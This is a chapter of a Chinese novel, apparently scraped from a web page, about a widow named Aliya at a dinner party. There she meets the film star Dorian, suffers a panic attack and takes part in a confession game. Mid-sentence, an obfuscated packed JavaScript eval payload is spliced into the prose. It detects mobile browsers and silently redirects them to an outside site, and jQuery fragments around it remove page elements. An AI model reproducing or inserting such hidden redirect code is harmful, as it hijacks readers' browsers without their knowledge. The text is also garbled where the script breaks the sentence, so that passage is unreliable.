晚餐会的甜点后免不了要再来一杯浓缩咖啡。
凯蒂正指挥着未婚夫操作咖啡机，厨房墙上的家居控制面板忽然闪烁起提示灯。
安全提示，正门已解锁。
凯蒂面露讶色，在她查看监控之前，明快的脚步声已经到了餐厅门口。
“我正好想喝咖啡提神，看来我回来得正是时候。”高大的年轻人靠在餐厅门口的柱子边，笑时露出一口洁白整齐的牙齿。
“克里斯！”凯蒂又惊又喜，立刻迎过去，“你不是明天上午的航班吗？”
“我临时决定提早回来，”克里斯和她抱了一下，转头问候菲利普，“嘿，菲尔。”
没等菲利普应答，他就转头和邻居夫妇寒暄起来。菲利普哧了声，懒得和克里斯计较，双手抱臂去监督咖啡机了。
与此同时，凯蒂领着弟弟来到阿利雅面前。
刚刚隔了几步看还不觉得，只有面对面，才会对克里斯的体格有实感。
他和阿利雅模糊记忆里的那个少年已经判若两人，至少有190公分高。在夏衫下隐约可见的肌肉线条、漂亮的小麦色皮肤，还有开朗的笑容，种种细节都证明他有户外运动习惯。
“嗨，阿利雅，你还记得我吗？”他挠了挠脖子，无措的小动作透出腼腆。
阿利雅笑着和他虚贴面颊：“克里斯托弗，好久不见。”
“叫我克里斯就行，真的。”他用那双和凯蒂极为相似的蓝眼睛认真凝视了她半晌，“休息室的事我听说了，幸好你看起来状态还不错。”
他的真挚关怀快要从眼睛里溢出来。
阿利雅不由有些意外。
婚后她大多数时间待在合众国，只在度假时偶尔会碰到凯蒂，与萨金家的其他人远远称不上亲近。她默了半拍后回答：“没事，我没受那件事影响。”
“很抱歉打断你们，但我们还有位客人。”凯蒂这时插进来。
克里斯的粗鲁好像只针对姐姐的未婚夫，闻言他立刻乖乖转过去见客。他看到多里安明显愣了一下。然而他对这张脸的认知停留在觉得眼熟的程度，迟疑开口：“你是……”
大脑正在全速检索人名中——这简直写在他脸上。
“多里安·巴克斯。”大明星好像觉得这新鲜的情况很有意思，主动自我介绍。
克里斯终于想起这位英俊的先生是谁，和他握手：“克里斯托弗。凯蒂是我姐姐。”
顿了顿，他仿佛觉得刚才的话不够有礼貌，于是没话找话地补充：“我有很多同学是你的狂热粉丝。”
“请替我转达感谢之情。”多里安圆滑地回道。
克里斯摸了摸鼻子，努力寻找新话题：“你是第一次来这一带吗？”
话出口，他就立刻意识到自己问了个傻问题。卡维拉这座城市每年都因为电影节星光熠熠，大明星年年出席都完全合理，怎么可能是首次造访。
他正尴尬着，阿利雅若无其事地把话题引开：“我倒是和初次来卡维拉的游客差不了多少，之前一直没机会好好探索这里。我这次估计逗留半个月，给我点建议？”
克里斯感激地看她一眼：“我知道几条风景很棒的游艇航线，近几个月经常看到海豚。”
“客厅那本航海运动杂志原来是你订的？”阿利雅彻底转向克里斯，从加入对话开始始终没看过多里安一眼。
“对，”克里斯不好意思地笑起来，“航行、游船，还有冲浪这些水上活动我都很喜欢。我的船最近刚刚升级完，如果你有兴趣的话……”
“当然。”
萨金家的弟弟眼睛立刻亮了。两人聊了几句出海游玩的事，凯蒂扬声招呼：
“克里斯，你再去搬把椅子过来。”
克里斯托弗听话地朝姐姐小跑过去，不知道怎么让人想起金毛寻回犬。
再一转头，阿利雅才发现，多里安不知道什么时候已经走开了。
眼下他正在和那对邻居夫妇亲切自拍合影。
“凯蒂，不用加座位了，我们也该走了，不能让保姆太晚回家。谢谢你们的招待，今晚非常愉快难忘。”又和多里安聊了几句，邻居夫妇心满意足地告辞。
“我也差不多——”
“不不，多里安，你再坐会儿吧。”菲利普和他不知道说了什么，多里安最后踱回了餐厅。
邻居女士和萨金家有生意往来，凯蒂和菲利普郑重送两位客人出去。
餐厅里剩下三个人，忽然就分外空旷。
多里安独自站着，隔着反光严重的玻璃端详夜色浓重的庭院，不知道在想什么。桌子另一边，阿利雅专心致志地坐着玩手机，就好像影帝先生只是一株立在窗边的室内植物。
没有哪里特别不对劲，毕竟多里安和阿利雅是初次见面，整晚的高强度社交之后，谁都没义务在主人家缺席时继续和陌生人硬聊维持场面。
即便如此，这氛围还是古怪极了。
克里斯困惑地咬住嘴唇，最后大声自言自语：“咖啡都凉了。重做吧。”
他说着把之前那壶浓缩倒进下水槽，熟练地操作机器重来。
“我用个洗手间。”阿利雅忽然起身。
反锁门，一口气把盥洗台冷水开到最大，洗了两遍手，她终于抬起头。
椭圆形梳妆镜映出她此刻的模样：因为吃东西时蹭掉了口红，面色唇色都稍显苍白，但神色还算平静。盘发在耳畔散落了一缕，她伸手去整理，动作蓦地一顿。
镜子里，她滴着水的手在发抖。
阿利雅快速眨动双眼，所见并非幻觉或臆想。
砰砰砰，受理性压制的交感神经夺回主权，肾上腺素爆发。心跳和呼吸都猛加速，鼻腔胸腔嗡嗡地震动。她忽然头晕目眩。
只有一秒，她又能看清楚了，这次不是透过镜子，她伸到眼前的指掌确实在不受控地、急剧地颤抖。
阿利雅双手抓住盥洗台边缘，低下头深呼吸。
但她的呼吸只有越来越快，每一次吸气都比上一次浅，像要在水里搁浅。
这种感觉她至今为止体验过两次，最近一次是和亨利的婚礼前夜。后来她才知道，那是惊恐发作。
四拍吸气，长长的屏息，然后八拍吐气。
阿利雅按照心理咨询师教她的应对方法调整呼吸。重复两次之后，心悸和手抖终于逐渐消失了。
再往镜子里瞧，她的额角缀满冷汗。
思考恢复运作，阿利雅下意识开始寻找这次恐慌发作的源头：如果是因为和多里安毫无准备地重逢，为什么不是在见面之后立刻发作，偏偏等到夜晚接近尾声的现在？
不，原因真的重要吗？
她利落切断了这缕思绪。
“你在恐慌什么？”阿利雅盯着镜面对侧的自己轻声问。她从手包里摸出唇膏，缓缓地为嘴唇重新覆上颜色。
※
阿利雅回到餐厅，其他三人正在说话。率先注意到她的是多里安，但几乎是看到她的同一瞬间，他就转开了视线。
于是欢迎阿利雅的是正对餐厅门口的凯蒂。
“亲爱的你回来了，要不要来点柠檬利口酒？”凯蒂冲插在冰碗里的漂亮酒瓶示意。
桌子上不仅摆着浓缩咖啡，还多了四个精致的窄口细酒杯。
“为什么不？”阿利雅在克里斯身侧的位置落座，歉然道，“抱歉，好像又把你做的咖啡放冷了。”
克里斯立刻要起身：“完全没关系，如果你想喝，我——”
阿利雅笑了，不得不伸手把他拽回座位：“不用了，真的不用。”
“你那么喜欢做咖啡，明天早上所有人的咖啡就交给你了。”菲利普没忍住，调侃了克里斯一句。
克里斯咧嘴笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379267|184066||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑，没接茬。
“我不在的时候都错过了什么？”阿利雅问。
菲利普立刻说：“我刚刚提议，不如我们玩个游戏，轮流坦白一件与自己有关的、没什么人知道的事实。多里安已经分享过丹尼这个角色背后的故事，所以第一轮可以跳过。”
说是征求意见，他根本没准备让人反对。
第一个开始分享秘闻的也自然而然是菲利普。
阿利雅小口呷着柠檬利口酒，漫不经心地听着他大学时代疯狂的兄弟会故事，脑子里想的却是别的：
菲利普居然这么卖力地拉近与多里安的关系。估计他们现在在谈的这个项目本身受题材或是风格限制，很难有高票房。游民影业就只能希望之后在宣发期间，这位大明星会多出一点力造势。
她的目光走神地往旁边飘，不意间和克里斯的对上。
金发小伙隐秘地朝天花板翻了个白眼，幅度极小地无语摇头。
她对克里斯托弗很难摆脱朋友弟弟的印象，不由自主带了点对小朋友的宽容。她见状差点笑出来，连忙把酒杯凑到唇边挡住笑意。
好像有人在看她。
阿利雅用余光去寻找那注视的源头，却无果。
刚才的异样感似乎只是她的错觉。
菲利普终于讲完他的秘密往事，多里安捧场地发表了几句感想，凯蒂懒洋洋地又倒了一杯酒。按照座次，下个‘坦白’的是阿利雅。
阿利雅一搁酒杯，开场白与玻璃与桌面相击的声音同等利落：“我猜，大多数人想知道的事只有一件，究竟是不是我干的？”
——亨利是不是她杀的？
凯蒂一脸怀疑自己听错了，克里斯托弗因为震惊张开嘴；菲利普立刻坐直了，随即又做出随意倾听的放松姿态。
只有多里安反应平淡。他闻言撩起眼皮看了她一眼，她主动提起身上丑闻让他似乎有那么一点惊讶，对谜底本身，他却显得漠不关心。
阿利雅扯了扯嘴角：“但很可惜，对那件事，我真没什么再可分享的了，那件事前后的所有细节都已经被八卦小报研究透彻。”
凯蒂捂住胸口埋怨：“你真的吓我一跳！”
阿利雅冲她挤了挤眼睛，继续说下去：“但好像几乎没人意识到，或许我和亨利的关系原本就没有他们想象得那么糟糕。”
多里安蓦地抬起头来。
“众所周知，我和亨利并不是因为爱情结合，”她轻轻摇晃酒杯，“但我和他某些方面很相似，也清楚想从彼此那里得到什么。
“多余的期望、难以启齿的秘密……这些伤感情的隐患一开始就不存在。所以其实我们挺合得来，相处也还算愉快。大多数时候都可以这么说。”
难言的寂静笼罩长餐桌。
对克里斯而言，这个话题有些遥远，他的无言因此是茫然的。凯蒂和菲利普这对未婚夫妻若有所思，目光闪烁。
“你对婚姻的理解有点消极。”难得一言不发了好一阵，菲利普才给出评价。他的笑容有些勉强。
“这点上我同意菲尔。我没有那么悲观。”克里斯无端地忧心忡忡。
阿利雅笑了：“你们可以不同意我的看法。但我对上段婚姻没什么怨恨，这就是我想坦白的事实。”
桌子对角，从她开始讲述开始就一言不发的那个人……阿利雅这番话真正想传递给的听众，他沉默地盯着她，面无表情，情绪难以解读。
阿利雅于是举起酒杯，就像今晚多里安已经做过一次那样。
“为了纪念亨利。”她把这杯酒敬给亡夫，还有他留下的遗产。
“为了亨利。”众人喃喃地附和，饮下清新微苦的利口酒，表达对亡者的敬意。
多里安翕动嘴唇，轻声跟着念，而后将酒杯凑到唇边。
但他的嘴唇只沾了沾杯沿，没有一滴酒液入喉。